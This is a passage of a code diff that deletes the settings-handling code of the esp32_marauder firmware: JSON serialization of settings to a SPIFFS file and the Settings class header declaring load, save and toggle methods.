-  //jsonBuffer.printTo(settingsFile);
-  if (serializeJson(jsonBuffer, settingsFile) == 0) {
-    Serial.println(F("Failed to write to file"));
-  }
-  if (serializeJson(jsonBuffer, settings_string) == 0) {
-    Serial.println(F("Failed to write to string"));
-  }
-
-  // Close the file
-  settingsFile.close();
-
-  this->json_settings_string = settings_string;
-
-  this->printJsonSettings(settings_string);
-
-  return true;
-}
-
-void Settings::main(uint32_t currentTime) {
-  
-}

esp32_marauder/settings.h

@@ -1,55 +0,0 @@
-#ifndef Settings_h
-#define Settings_h
-
-#include "configs.h"
-
-#include "SPIFFS.h"
-#include <FS.h>
-#include <ArduinoJson.h>
-
-#define FORMAT_SPIFFS_IF_FAILED true
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-
-  extern Display display_obj;
-#endif
-
-class Settings {
-
-  private:
-    String json_settings_string;
-
-  public:
-    bool begin();
-
-    template <typename T>
-    T loadSetting(String name);
-
-    template <typename T>
-    T saveSetting(String key, bool value);
-
-    bool toggleSetting(String key);
-    String getSettingType(String key);
-    String setting_index_to_name(int i);
-    int getNumberSettings();
-
-    //template<>
-    //int loadSetting<int>(String key);
-    
-    //template<>
-    //String loadSetting<String>(String key);
-    
-    //template<>
-    //bool loadSetting<bool>(String key);
-    
-    //template<>
-    //uint8_t loadSetting<uint8_t>(String key);
-
-    String getSettingsString();
-    bool createDefaultSettings(fs::FS &fs);
-    void printJsonSettings(String json_string);
-    void main(uint32_t currentTime);
-};
-
-#endif